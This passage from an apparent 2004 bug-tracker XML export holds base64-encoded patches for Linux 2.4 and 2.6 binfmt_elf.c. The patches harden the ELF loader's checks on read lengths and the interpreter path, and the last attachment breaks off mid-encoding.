IChyZXR2YWwgPCAwKQorCQkJZXJyb3IgPSByZXR2YWw7CQogCQlnb3RvIG91dF9jbG9zZTsKKwl9
CiAKIAllcHBudCA9IGVsZl9waGRhdGE7CiAJZm9yIChpPTA7IGk8aW50ZXJwX2VsZl9leC0+ZV9w
aG51bTsgaSsrLCBlcHBudCsrKSB7CkBAIC02ODYsOCArNjg5LDExIEBACiAJCWdvdG8gb3V0Owog
CiAJcmV0dmFsID0ga2VybmVsX3JlYWQoYnBybS0+ZmlsZSwgZWxmX2V4LmVfcGhvZmYsIChjaGFy
ICopIGVsZl9waGRhdGEsIHNpemUpOwotCWlmIChyZXR2YWwgPCAwKQorCWlmIChyZXR2YWwgIT0g
c2l6ZSkgeworCQlpZiAocmV0dmFsID49IDApCisJCQlyZXR2YWwgPSAtRUlPOwogCQlnb3RvIG91
dF9mcmVlX3BoOworCX0KIAkJCiAJZmlsZXMgPSBjdXJyZW50LT5maWxlczsJCS8qIFJlZmNvdW50
ZWQgc28gb2sgKi8KIAlyZXR2YWwgPSB1bnNoYXJlX2ZpbGVzKCk7CkBAIC03MjQsOCArNzMwLDkg
QEAKIAkJCSAqLwogCiAJCQlyZXR2YWwgPSAtRU5PTUVNOwotCQkJaWYgKGVsZl9wcG50LT5wX2Zp
bGVzeiA+IFBBVEhfTUFYKQotCQkJCWdvdG8gb3V0X2ZyZWVfZmlsZTsKKwkJCWlmIChlbGZfcHBu
dC0+cF9maWxlc3ogPiBQQVRIX01BWCB8fAorCQkJCWVsZl9wcG50LT5wX2ZpbGVzeiA9PSAwKQor
CQkJCQlnb3RvIG91dF9mcmVlX2ZpbGU7CiAJCQllbGZfaW50ZXJwcmV0ZXIgPSAoY2hhciAqKSBr
bWFsbG9jKGVsZl9wcG50LT5wX2ZpbGVzeiwKIAkJCQkJCQkgICBHRlBfS0VSTkVMKTsKIAkJCWlm
ICghZWxmX2ludGVycHJldGVyKQpAQCAtNzM0LDggKzc0MSwxNiBAQAogCQkJcmV0dmFsID0ga2Vy
bmVsX3JlYWQoYnBybS0+ZmlsZSwgZWxmX3BwbnQtPnBfb2Zmc2V0LAogCQkJCQkgICBlbGZfaW50
ZXJwcmV0ZXIsCiAJCQkJCSAgIGVsZl9wcG50LT5wX2ZpbGVzeik7Ci0JCQlpZiAocmV0dmFsIDwg
MCkKKwkJCWlmIChyZXR2YWwgIT0gZWxmX3BwbnQtPnBfZmlsZXN6KSB7CisJCQkJaWYgKHJldHZh
bCA+PSAwKQorCQkJCQlyZXR2YWwgPSAtRUlPOworCQkJCWdvdG8gb3V0X2ZyZWVfaW50ZXJwOwor
CQkJfQorCQkJLyogbWFrZSBzdXJlIHBhdGggaXMgTlVMTCB0ZXJtaW5hdGVkICovCisJCQlyZXR2
YWwgPSAtRUlOVkFMOworCQkJaWYgKGVsZl9pbnRlcnByZXRlcltlbGZfcHBudC0+cF9maWxlc3og
LSAxXSAhPSAnXDAnKQogCQkJCWdvdG8gb3V0X2ZyZWVfaW50ZXJwOworCQkJCiAJCQkvKiBJZiB0
aGUgcHJvZ3JhbSBpbnRlcnByZXRlciBpcyBvbmUgb2YgdGhlc2UgdHdvLAogCQkJICogdGhlbiBh
c3N1bWUgYW4gaUJDUzIgaW1hZ2UuIE90aGVyd2lzZSBhc3N1bWUKIAkJCSAqIGEgbmF0aXZlIGxp
bnV4IGltYWdlLgpAQCAtNzU0LDggKzc2OSwxMSBAQAogCQkJaWYgKElTX0VSUihpbnRlcnByZXRl
cikpCiAJCQkJZ290byBvdXRfZnJlZV9pbnRlcnA7CiAJCQlyZXR2YWwgPSBrZXJuZWxfcmVhZChp
bnRlcnByZXRlciwgMCwgYnBybS0+YnVmLCBCSU5QUk1fQlVGX1NJWkUpOwotCQkJaWYgKHJldHZh
bCA8IDApCisJCQlpZiAocmV0dmFsICE9IEJJTlBSTV9CVUZfU0laRSkgeworCQkJCWlmIChyZXR2
YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0gLUVJTzsKIAkJCQlnb3RvIG91dF9mcmVlX2RlbnRyeTsK
KwkJCX0KIAogCQkJLyogR2V0IHRoZSBleGVjIGhlYWRlcnMgKi8KIAkJCWludGVycF9leCA9ICoo
KHN0cnVjdCBleGVjICopIGJwcm0tPmJ1Zik7CkBAIC05NjcsNyArOTg1LDEwIEBACiAjZW5kaWYK
IAogCQkJaWYgKEJBRF9BRERSKGVycm9yKSkKLQkJCQljb250aW51ZTsKKwkJCXsKKwkJCQlzZW5k
X3NpZyhTSUdLSUxMLCBjdXJyZW50LCAwKTsKKwkJCQlnb3RvIG91dF9mcmVlX2RlbnRyeTsKKwkJ
CX0KIAogCQkJLyogUGFYOiBtaXJyb3IgYXQgYSByYW5kb21pemVkIGJhc2UgKi8KIAkJCWRvd25f
d3JpdGUoJmN1cnJlbnQtPm1tLT5tbWFwX3NlbSk7CkBAIC0xMDA4LDcgKzEwMjksMTAgQEAKIAkJ
ewogCQkJZXJyb3IgPSBlbGZfbWFwKGJwcm0tPmZpbGUsIGxvYWRfYmlhcyArIHZhZGRyLCBlbGZf
cHBudCwgZWxmX3Byb3QsIGVsZl9mbGFncyk7CiAJCQlpZiAoQkFEX0FERFIoZXJyb3IpKQotCQkJ
CWNvbnRpbnVlOworCQkJeworCQkJCXNlbmRfc2lnKFNJR0tJTEwsIGN1cnJlbnQsIDApOworCQkJ
CWdvdG8gb3V0X2ZyZWVfZGVudHJ5OworCQkJfQogCQl9CiAKIAkJaWYgKCFsb2FkX2FkZHJfc2V0
KSB7Cg==
</data>        

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44600</attachid>
            <date>2004-11-23 13:42 0000</date>
            <desc>Updated 2.4.27 plain patch</desc>
            <filename>linux-2.4.27-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">ZGlmZiAtdXIgbGludXgtMi40LjI3L2ZzL2JpbmZtdF9lbGYuYyBsaW51eC0yLjQuMjcucGxhc21h
cm9vL2ZzL2JpbmZtdF9lbGYuYwotLS0gbGludXgtMi40LjI3L2ZzL2JpbmZtdF9lbGYuYwkyMDA0
LTA0LTE0IDE0OjA1OjQwLjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjI3LnBsYXNtYXJv
by9mcy9iaW5mbXRfZWxmLmMJMjAwNC0xMS0xOSAyMTozMDoyNi43NDU0MTA4MjQgKzAwMDAKQEAg
LTI5OSw5ICsyOTksMTIgQEAKIAkJZ290byBvdXQ7CiAKIAlyZXR2YWwgPSBrZXJuZWxfcmVhZChp
bnRlcnByZXRlcixpbnRlcnBfZWxmX2V4LT5lX3Bob2ZmLChjaGFyICopZWxmX3BoZGF0YSxzaXpl
KTsKLQllcnJvciA9IHJldHZhbDsKLQlpZiAocmV0dmFsIDwgMCkKKwllcnJvciA9IC1FSU87CisJ
aWYgKHJldHZhbCAhPSBzaXplKSB7CisJCWlmIChyZXR2YWwgPCAwKQorCQkJZXJyb3IgPSByZXR2
YWw7CQogCQlnb3RvIG91dF9jbG9zZTsKKwl9CiAKIAllcHBudCA9IGVsZl9waGRhdGE7CiAJZm9y
IChpPTA7IGk8aW50ZXJwX2VsZl9leC0+ZV9waG51bTsgaSsrLCBlcHBudCsrKSB7CkBAIC00NzUs
OCArNDc4LDExIEBACiAJCWdvdG8gb3V0OwogCiAJcmV0dmFsID0ga2VybmVsX3JlYWQoYnBybS0+
ZmlsZSwgZWxmX2V4LmVfcGhvZmYsIChjaGFyICopIGVsZl9waGRhdGEsIHNpemUpOwotCWlmIChy
ZXR2YWwgPCAwKQorCWlmIChyZXR2YWwgIT0gc2l6ZSkgeworCQlpZiAocmV0dmFsID49IDApCisJ
CQlyZXR2YWwgPSAtRUlPOwogCQlnb3RvIG91dF9mcmVlX3BoOworCX0KIAkJCiAJZmlsZXMgPSBj
dXJyZW50LT5maWxlczsJCS8qIFJlZmNvdW50ZWQgc28gb2sgKi8KIAlyZXR2YWwgPSB1bnNoYXJl
X2ZpbGVzKCk7CkBAIC01MTMsNyArNTE5LDggQEAKIAkJCSAqLwogCiAJCQlyZXR2YWwgPSAtRU5P
TUVNOwotCQkJaWYgKGVsZl9wcG50LT5wX2ZpbGVzeiA+IFBBVEhfTUFYKQorCQkJaWYgKGVsZl9w
cG50LT5wX2ZpbGVzeiA+IFBBVEhfTUFYIHx8IAorCQkJICAgIGVsZl9wcG50LT5wX2ZpbGVzeiA9
PSAwKQogCQkJCWdvdG8gb3V0X2ZyZWVfZmlsZTsKIAkJCWVsZl9pbnRlcnByZXRlciA9IChjaGFy
ICopIGttYWxsb2MoZWxmX3BwbnQtPnBfZmlsZXN6LAogCQkJCQkJCSAgIEdGUF9LRVJORUwpOwpA
QCAtNTIzLDggKzUzMCwxNiBAQAogCQkJcmV0dmFsID0ga2VybmVsX3JlYWQoYnBybS0+ZmlsZSwg
ZWxmX3BwbnQtPnBfb2Zmc2V0LAogCQkJCQkgICBlbGZfaW50ZXJwcmV0ZXIsCiAJCQkJCSAgIGVs
Zl9wcG50LT5wX2ZpbGVzeik7Ci0JCQlpZiAocmV0dmFsIDwgMCkKKwkJCWlmIChyZXR2YWwgIT0g
ZWxmX3BwbnQtPnBfZmlsZXN6KSB7CisJCQkJaWYgKHJldHZhbCA+PSAwKQorCQkJCQlyZXR2YWwg
PSAtRUlPOworCQkJCWdvdG8gb3V0X2ZyZWVfaW50ZXJwOworCQkJfQorCQkJLyogbWFrZSBzdXJl
IHBhdGggaXMgTlVMTCB0ZXJtaW5hdGVkICovCisJCQlyZXR2YWwgPSAtRUlOVkFMOworCQkJaWYg
KGVsZl9pbnRlcnByZXRlcltlbGZfcHBudC0+cF9maWxlc3ogLSAxXSAhPSAnXDAnKQogCQkJCWdv
dG8gb3V0X2ZyZWVfaW50ZXJwOworCiAJCQkvKiBJZiB0aGUgcHJvZ3JhbSBpbnRlcnByZXRlciBp
cyBvbmUgb2YgdGhlc2UgdHdvLAogCQkJICogdGhlbiBhc3N1bWUgYW4gaUJDUzIgaW1hZ2UuIE90
aGVyd2lzZSBhc3N1bWUKIAkJCSAqIGEgbmF0aXZlIGxpbnV4IGltYWdlLgpAQCAtNTQzLDggKzU1
OCwxMSBAQAogCQkJaWYgKElTX0VSUihpbnRlcnByZXRlcikpCiAJCQkJZ290byBvdXRfZnJlZV9p
bnRlcnA7CiAJCQlyZXR2YWwgPSBrZXJuZWxfcmVhZChpbnRlcnByZXRlciwgMCwgYnBybS0+YnVm
LCBCSU5QUk1fQlVGX1NJWkUpOwotCQkJaWYgKHJldHZhbCA8IDApCisJCQlpZiAocmV0dmFsICE9
IEJJTlBSTV9CVUZfU0laRSkgeworCQkJCWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJcmV0dmFsID0g
LUVJTzsKIAkJCQlnb3RvIG91dF9mcmVlX2RlbnRyeTsKKwkJCX0KIAogCQkJLyogR2V0IHRoZSBl
eGVjIGhlYWRlcnMgKi8KIAkJCWludGVycF9leCA9ICooKHN0cnVjdCBleGVjICopIGJwcm0tPmJ1
Zik7CkBAIC02ODIsOCArNzAwLDEwIEBACiAJCX0KIAogCQllcnJvciA9IGVsZl9tYXAoYnBybS0+
ZmlsZSwgbG9hZF9iaWFzICsgdmFkZHIsIGVsZl9wcG50LCBlbGZfcHJvdCwgZWxmX2ZsYWdzKTsK
LQkJaWYgKEJBRF9BRERSKGVycm9yKSkKLQkJCWNvbnRpbnVlOworCQlpZiAoQkFEX0FERFIoZXJy
b3IpKSB7CisJCQlzZW5kX3NpZyhTSUdLSUxMLCBjdXJyZW50LCAwKTsKKwkJCWdvdG8gb3V0X2Zy
ZWVfZGVudHJ5OworCQl9CiAKIAkJaWYgKCFsb2FkX2FkZHJfc2V0KSB7CiAJCQlsb2FkX2FkZHJf
c2V0ID0gMTsK
</data>        

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44601</attachid>
            <date>2004-11-23 13:45 0000</date>
            <desc>Updated 2.6.8.1 plain patch</desc>
            <filename>linux-2.6.8.1-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">ZGlmZiAtdXIgbGludXgtMi42LjguMS9mcy9iaW5mbXRfZWxmLmMgbGludXgtMi42LjguMS5wbGFz
bWFyb28vZnMvYmluZm10X2VsZi5jCi0tLSBsaW51eC0yLjYuOC4xL2ZzL2JpbmZtdF9lbGYuYwky
MDA0LTA4LTE0IDExOjU1OjIzLjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi42LjguMS5wbGFz
bWFyb28vZnMvYmluZm10X2VsZi5jCTIwMDQtMTEtMTkgMjM6MDc6MDguMzc1NDI5MDAwICswMDAw
CkBAIC0zMzQsOSArMzM0LDEyIEBACiAJCWdvdG8gb3V0OwogCiAJcmV0dmFsID0ga2VybmVsX3Jl
YWQoaW50ZXJwcmV0ZXIsaW50ZXJwX2VsZl9leC0+ZV9waG9mZiwoY2hhciAqKWVsZl9waGRhdGEs
c2l6ZSk7Ci0JZXJyb3IgPSByZXR2YWw7Ci0JaWYgKHJldHZhbCA8IDApCisJZXJyb3IgPSAtRUlP
OworCWlmIChyZXR2YWwgIT0gc2l6ZSkgeworCQlpZiAocmV0dmFsIDwgMCkKKwkJCWVycm9yID0g
cmV0dmFsOwkKIAkJZ290byBvdXRfY2xvc2U7CisJfQogCiAJZXBwbnQgPSBlbGZfcGhkYXRhOwog
CWZvciAoaT0wOyBpPGludGVycF9lbGZfZXgtPmVfcGhudW07IGkrKywgZXBwbnQrKykgewpAQCAt
NTIzLDggKzUyNiwxMSBAQAogCQlnb3RvIG91dDsKIAogCXJldHZhbCA9IGtlcm5lbF9yZWFkKGJw
cm0tPmZpbGUsIGVsZl9leC5lX3Bob2ZmLCAoY2hhciAqKSBlbGZfcGhkYXRhLCBzaXplKTsKLQlp
ZiAocmV0dmFsIDwgMCkKKwlpZiAocmV0dmFsICE9IHNpemUpIHsKKwkJaWYgKHJldHZhbCA+PSAw
KQorCQkJcmV0dmFsID0gLUVJTzsKIAkJZ290byBvdXRfZnJlZV9waDsKKwl9CiAKIAlmaWxlcyA9
IGN1cnJlbnQtPmZpbGVzOwkJLyogUmVmY291bnRlZCBzbyBvayAqLwogCXJldHZhbCA9IHVuc2hh
cmVfZmlsZXMoKTsKQEAgLTU2MSw3ICs1NjcsOCBAQAogCQkJICovCiAKIAkJCXJldHZhbCA9IC1F
Tk9NRU07Ci0JCQlpZiAoZWxmX3BwbnQtPnBfZmlsZXN6ID4gUEFUSF9NQVgpCisJCQlpZiAoZWxm
X3BwbnQtPnBfZmlsZXN6ID4gUEFUSF9NQVggfHwgCisJCQkgICAgZWxmX3BwbnQtPnBfZmlsZXN6
ID09IDApCiAJCQkJZ290byBvdXRfZnJlZV9maWxlOwogCQkJZWxmX2ludGVycHJldGVyID0gKGNo
YXIgKikga21hbGxvYyhlbGZfcHBudC0+cF9maWxlc3osCiAJCQkJCQkJICAgR0ZQX0tFUk5FTCk7
CkBAIC01NzEsOCArNTc4LDE2IEBACiAJCQlyZXR2YWwgPSBrZXJuZWxfcmVhZChicHJtLT5maWxl
LCBlbGZfcHBudC0+cF9vZmZzZXQsCiAJCQkJCSAgIGVsZl9pbnRlcnByZXRlciwKIAkJCQkJICAg
ZWxmX3BwbnQtPnBfZmlsZXN6KTsKLQkJCWlmIChyZXR2YWwgPCAwKQorCQkJaWYgKHJldHZhbCAh
PSBlbGZfcHBudC0+cF9maWxlc3opIHsKKwkJCQlpZiAocmV0dmFsID49IDApCisJCQkJCXJldHZh
bCA9IC1FSU87CiAJCQkJZ290byBvdXRfZnJlZV9pbnRlcnA7CisJCQl9CisJCQkvKiBtYWtlIHN1
cmUgcGF0aCBpcyBOVUxMIHRlcm1pbmF0ZWQgKi8KKwkJCXJldHZhbCA9IC1FSU5WQUw7CisJCQlp
ZiAoZWxmX2ludGVycHJldGVyW2VsZl9wcG50LT5wX2ZpbGVzeiAtIDFdICE9ICdcMCcpCisJCQkJ
Z290byBvdXRfZnJlZV9pbnRlcnA7CisKIAkJCS8qIElmIHRoZSBwcm9ncmFtIGludGVycHJldGVy
IGlzIG9uZSBvZiB0aGVzZSB0d28sCiAJCQkgKiB0aGVuIGFzc3VtZSBhbiBpQkNTMiBpbWFnZS4g
T3RoZXJ3aXNlIGFzc3VtZQogCQkJICogYSBuYXRpdmUgbGludXggaW1hZ2UuCkBAIC02MDcsOCAr
NjIyLDExIEBACiAJCQlpZiAoSVNfRVJSKGludGVycHJldGVyKSkKIAkJCQlnb3RvIG91dF9mcmVl
X2ludGVycDsKIAkJCXJldHZhbCA9IGtlcm5lbF9yZWFkKGludGVycHJldGVyLCAwLCBicHJtLT5i
dWYsIEJJTlBSTV9CVUZfU0laRSk7Ci0JCQlpZiAocmV0dmFsIDwgMCkKKwkJCWlmIChyZXR2YWwg
IT0gQklOUFJNX0JVRl9TSVpFKSB7CisJCQkJaWYgKHJldHZhbCA+PSAwKQorCQkJCQlyZXR2YWwg
PSAtRUlPOwogCQkJCWdvdG8gb3V0X2ZyZWVfZGVudHJ5OworCQkJfQogCiAJCQkvKiBHZXQgdGhl
IGV4ZWMgaGVhZGVycyAqLwogCQkJaW50ZXJwX2V4ID0gKigoc3RydWN0IGV4ZWMgKikgYnBybS0+
YnVmKTsKQEAgLTc2NSw4ICs3ODMsMTAgQEAKIAkJfQogCiAJCWVycm9yID0gZWxmX21hcChicHJt
LT5maWxlLCBsb2FkX2JpYXMgKyB2YWRkciwgZWxmX3BwbnQsIGVsZl9wcm90LCBlbGZfZmxhZ3Mp
OwotCQlpZiAoQkFEX0FERFIoZXJyb3IpKQotCQkJY29udGludWU7CisJCWlmIChCQURfQUREUihl
cnJvcikpIHsKKwkJCXNlbmRfc2lnKFNJR0tJTEwsIGN1cnJlbnQsIDApOworCQkJZ290byBvdXRf
ZnJlZV9kZW50cnk7CisJCX0KIAogCQlpZiAoIWxvYWRfYWRkcl9zZXQpIHsKIAkJCWxvYWRfYWRk
cl9zZXQgPSAxOwo=
</data>        

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44602</attachid>
            <date>2004-11-23 13:47 0000</date>
            <desc>Updated 2.6.9 patch</desc>
            <filename>linux-2.6.9-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">ZGlmZiAtdXIgbGludXgtMi42LjkvZnMvYmluZm10X2VsZi5jIGxpbnV4LTIuNi45LnBsYXNtYXJv
by9mcy9iaW5mbXRfZWxmLmMKLS0tIGxpbnV4LTIuNi45L2ZzL2JpbmZtdF9lbGYuYwkyMDA0LTEw
LTI0IDE0OjU4OjQ4LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi42LjkucGxhc21hcm9vL2Zz
L2JpbmZtdF9lbGYuYwkyMDA0LTExLTE5IDIwOjExOjM2LjAwMDAwMDAwMCArMDAwMApAQCAtMzM1
LDkgKzMzNSwxMiBAQAogCQlnb3RvIG91dDsKIAogCXJldHZhbCA9IGtlcm5lbF9yZWFkKGludGVy
cHJldGVyLGludGVycF9lbGZfZXgtPmVfcGhvZmYsKGNoYXIgKillbGZfcGhkYXRhLHNpemUpOwot
CWVycm9yID0gcmV0dmFsOwotCWlmIChyZXR2YWwgPCAwKQorCWVycm9yID0gLUVJTzsKKwlpZiAo
cmV0dmFsICE9IHNpemUpIHsKKwkJaWYgKHJldHZhbCA8IDApCisJCQllcnJvciA9IHJldHZhbDsJ
CiAJCWdvdG8gb3V0X2Nsb3NlOworCX0KIAogCWVwcG50ID0gZWxmX3BoZGF0YTsKIAlmb3IgKGk9
MDsgaTxpbnRlcnBfZWxmX2V4LT5lX3BobnVtOyBpKyssIGVwcG50KyspIHsKQEAgLTUzMiw4ICs1
MzUsMTEgQEAKIAkJZ290byBvdXQ7CiAKIAlyZXR2YWwgPSBrZXJuZWxfcmVhZChicHJtLT5maWxl
LCBsb2MtPmVsZl9leC5lX3Bob2ZmLCAoY2hhciAqKSBlbGZfcGhkYXRhLCBzaXplKTsKLQlpZiAo
cmV0dmFsIDwgMCkKKwlpZiAocmV0dmFsICE9IHNpemUpIHsKKwkJaWYgKHJldHZhbCA+PSAwKQor
CQkJcmV0dmFsID0gLUVJTzsKIAkJZ290byBvdXRfZnJlZV9waDsKKwl9CiAKIAlmaWxlcyA9IGN1
cnJlbnQtPmZpbGVzOwkJLyogUmVmY291bnRlZCBzbyBvayAqLwogCXJldHZhbCA9IHVuc2hhcmVf
ZmlsZXMoKTsKQEAgLTU3MCw3ICs1NzYsOCBAQAogCQkJICovCiAKIAkJCXJldHZhbCA9IC1FTk9N
RU07Ci0JCQlpZiAoZWxmX3BwbnQtPnBfZmlsZXN6ID4gUEFUSF9NQVgpCisJCQlpZiAoZWxmX3Bw
bnQtPnBfZmlsZXN6ID4gUEFUSF9NQVggfHwgCisJCQkgICAgZWxmX3BwbnQtPnBfZmlsZXN6ID09
IDApCiAJCQkJZ290byBvdXRfZnJlZV9maWxlOwogCQkJZWxmX2ludGVycHJldGVyID0gKGNoYXIg
Kikga21hbGxvYyhlbGZfcHBudC0+cF9maWxlc3osCiAJCQkJCQkJICAgR0ZQX0tFUk5FTCk7CkBA
IC01ODAsOCArNTg3LDE2IEBACiAJCQlyZXR2YWwgPSBrZXJuZWxfcmVhZChicHJtLT5maWxlLCBl
bGZfcHBudC0+cF9vZmZzZXQsCiAJCQkJCSAgIGVsZl9pbnRlcnByZXRlciwKIAkJCQkJICAgZWxm
X3BwbnQtPnBfZmlsZXN6KTsKLQkJCWlmIChyZXR2YWwgPCAwKQorCQkJaWYgKHJldHZhbCAhPSBl
bGZfcHBudC0+cF9maWxlc3opIHsKKwkJCQlpZiAocmV0dmFsID49IDApCisJCQkJCXJldHZhbCA9
IC1FSU87CiAJCQkJZ290byBvdXRfZnJlZV9pbnRlcnA7CisJCQl9CisJCQkvKiBtYWtlIHN1cmUg
cGF0aCBpcyBOVUxMIHRlcm1pbmF0ZWQgKi8KKwkJCXJldHZhbCA9IC1FSU5WQUw7CisJCQlpZiAo
ZWxmX2ludGVycHJldGVyW2VsZl9wcG50LT5wX2ZpbGVzeiAtIDFdICE9ICdcMCcpCisJCQkJZ290
byBvdXRfZnJlZV9pbnRlcnA7CisKIAkJCS8qIElmIHRoZSBwcm9ncmFtIGludGVycHJldGVyIGlz
IG9uZSBvZiB0aGVzZSB0d28sCiAJCQkgKiB0aGVuIGFzc3VtZSBhbiBpQkNTMiBpbWFnZS4gT3Ro
ZXJ3aXNlIGFzc3VtZQogCQkJICogYSBuYXRpdmUgbGludXggaW1hZ2UuCkBAIC02MTYsOCArNjMx
LDExIEBACiAJCQlpZiAoSVNfRVJSKGludGVycHJldGVyKSkKIAkJCQlnb3RvIG91dF9mcmVlX2lu
dGVycDsKIAkJCXJldHZhbCA9IGtlcm5lbF9yZWFkKGludGVycHJldGVyLCAwLCBicHJtLT5idWYs
IEJJTlBSTV9CVUZfU0laRSk7Ci0JCQlpZiAocmV0dmFsIDwgMCkKKwkJCWlmIChyZXR2YWwgIT0g
QklOUFJNX0JVRl9TSVpFKSB7CisJCQkJaWYgKHJldHZhbCA+PSAwKQorCQkJCQlyZXR2YWwgPSAt
RUlPOwogCQkJCWdvdG8gb3V0X2ZyZWVfZGVudHJ5OworCQkJfQogCiAJCQkvKiBHZXQgdGhlIGV4
ZWMgaGVhZGVycyAqLwogCQkJbG9jLT5pbnRlcnBfZXggPSAqKChzdHJ1Y3QgZXhlYyAqKSBicHJt
LT5idWYpOwpAQCAtNzc2LDggKzc5NCwxMCBAQAogCQl9CiAKIAkJZXJyb3IgPSBlbGZfbWFwKGJw
cm0tPmZpbGUsIGxvYWRfYmlhcyArIHZhZGRyLCBlbGZfcHBudCwgZWxmX3Byb3QsIGVsZl9mbGFn
cyk7Ci0JCWlmIChCQURfQUREUihlcnJvcikpCi0JCQljb250aW51ZTsKKwkJaWYgKEJBRF9BRERS
KGVycm9yKSkgeworCQkJc2VuZF9zaWcoU0lHS0lMTCwgY3VycmVudCwgMCk7CisJCQlnb3RvIG91
dF9mcmVlX2RlbnRyeTsKKwkJfQogCiAJCWlmICghbG9hZF9hZGRyX3NldCkgewogCQkJbG9hZF9h
ZGRyX3NldCA9IDE7Cg==
</data>        

          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44634</attachid>
            <date>2004-11-24 06:35 0000</date>
            <desc>2.6.7 patch</desc>
            <filename>1150_elf-bin-vuln-fix.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">ZGlmZiAtWCAvdXNyL3NyYy9kb250ZGlmZiAtdXJOcCBsaW51eC0yLjYuNy1nZW50b28tcjE2L2Zz
L2JpbmZtdF9lbGYuYyBsaW51eC1kc2QvZnMvYmluZm10X2VsZi5jCi0tLSBsaW51eC0yLjYuNy1n
ZW50b28tcjE2L2ZzL2JpbmZtdF9lbGYuYwkyMDA0LTA2LTE2IDA2OjE5OjIyLjAwMDAwMDAwMCAr
MDEwMAorKysgbGludXgtZHNkL2ZzL2JpbmZtdF9lbGYuYwkyMDA0LTExLTI0IDE2OjI0OjAwLjMw
MTk3OTk3NiArMDAwMApAQCAtMzMyLDkgKzMzMiwxMiBAQCBzdGF0aWMgdW5zaWduZWQgbG9uZyBs
b2FkX2VsZl9pbnRlcnAoc3RyCiAJCWdvdG8gb3V0OwogCiAJcmV0dmFsID0ga2VybmVsX3JlYWQo
aW50ZXJwcmV0ZXIsaW50ZXJwX2VsZl9leC0+ZV9waG9mZiwoY2hhciAqKWVsZl9waGRhdGEsc2l6
ZSk7Ci0JZXJyb3IgPSByZXR2YWw7Ci0JaWYgKHJldHZhbCA8IDApCisJZXJyb3IgPSAtRUlPOwor
CWlmIChyZXR2YWwgIT0gc2l6ZSkgeworCQlpZiAocmV0dmFsIDwgMCkKKwkJCWVycm9yID0gcmV0
dmFsOwkKIAkJZ290byBvdXRfY2xvc2U7CisJfQogCiAJZXBwbnQgPSBlbGZfcGhkYXRhOwogCWZv
ciAoaT0wOyBpPGludGVycF9lbGZfZXgtPmVfcGhudW07IGkrKywgZXBwbnQrKykgewpAQCAtNTIw
LDggKzUyMywxMSBAQCBzdGF0aWMgaW50IGxvYWRfZWxmX2JpbmFyeShzdHJ1Y3QgbGludXhfCiAJ
CWdvdG8gb3V0OwogCiAJcmV0dmFsID0ga2VybmVsX3JlYWQoYnBybS0+ZmlsZSwgZWxmX2V4LmVf
cGhvZmYsIChjaGFyICopIGVsZl9waGRhdGEsIHNpemUpOwotCWlmIChyZXR2YWwgPCAwKQorCWlm
IChyZXR2YWwgIT0gc2l6ZSkgeworCQlpZiAocmV0dmFsIDwgMCkKKwkJCXJldHZhbCA9IC1FSU87
CiAJCWdvdG8gb3V0X2ZyZWVfcGg7CisJfQogCiAJZmlsZXMgPSBjdXJyZW50LT5maWxlczsJCS8q
IFJlZmNvdW50ZWQgc28gb2sgKi8KIAlyZXR2YWwgPSB1bnNoYXJlX2ZpbGVzKCk7CkBAIC01NTgs
NyArNTY0LDggQEAgc3RhdGljIGludCBsb2FkX2VsZl9iaW5hcnkoc3RydWN0IGxpbnV4XwogCQkJ
ICovCiAKIAkJCXJldHZhbCA9IC1FTk9NRU07Ci0JCQlpZiAoZWxmX3BwbnQtPnBfZmlsZXN6ID4g
UEFUSF9NQVgpCisJCQlpZiAoZWxmX3BwbnQtPnBfZmlsZXN6ID4gUEFUSF9NQVggfHwgCisJCQkg
ICAgZWxmX3BwbnQtPnBfZmlsZXN6ID09IDApCiAJCQkJZ290byBvdXRfZnJlZV9maWxlOwogCQkJ
ZWxmX2ludGVycHJldGVyID0gKGNoYXIgKikga21hbGxvYyhlbGZfcHBudC0+cF9maWxlc3osCiAJ
CQkJCQkJICAgR0ZQX0tFUk5FTCk7CkBAIC01NjgsOCArNTc1LDE2IEBAIHN0YXRpYyBpbnQgbG9h
ZF9lbGZfYmluYXJ5KHN0cnVjdCBsaW51eF8KIAkJCXJldHZhbCA9IGtlcm5lbF9yZWFkKGJwcm0t
PmZpbGUsIGVsZl9wcG50LT5wX29mZnNldCwKIAkJCQkJICAgZWxmX2ludGVycHJldGVyLAogCQkJ
CQkgICBlbGZfcHBudC0+cF9maWxlc3opOwotCQkJaWYgKHJldHZhbCA8IDApCisJCQlpZiAocmV0
dmFsICE9IGVsZl9wcG50LT5wX2ZpbGVzeikgeworCQkJCWlmIChyZXR2YWwgPj0gMCkKKwkJCQkJ
cmV0dmFsID0gLUVJTzsKIAkJCQlnb3RvIG91dF9mcmVlX2ludGVycDsKKwkJCX0KKwkJCS8qIG1h
a2Ugc3VyZSBwYXRoIGlzIE5VTEwgdGVybWluYXRlZCAqLworCQkJcmV0dmFsID0gLUVJTlZBTDsK
KwkJCWlmIChlbGZfaW50ZXJwcmV0ZXJbZWxmX3BwbnQtPnBfZmlsZXN6IC0gMV0gIT0gJ1wwJykK
KwkJCQlnb3RvIG91dF9mcmVlX2ludGVycDsKKwogCQkJLyogSWYgdGhlIHByb2dyYW0gaW50ZXJw
cmV0ZXIgaXMgb25lIG9mIHRoZXNlIHR3bywKIAkJCSAqIHRoZW4gYXNzdW1lIGFuIGlCQ1MyIGlt
YWdlLiBPdGhlcndpc2UgYXNzdW1lCiAJCQkgKiBhIG5hdGl2ZSBsaW51eCBpbWFnZS4KQEAgLTYw
NCw4ICs2MTksMTEgQEAgc3RhdGljIGludCBsb2FkX2VsZl9iaW5hcnkoc3RydWN0IGxpbnV4Xwog
CQkJaWYgKElTX0VSUihpbnRlcnByZXRlcikpCiAJCQkJZ290byBvdXRfZnJlZV9pbnRlcnA7CiAJ
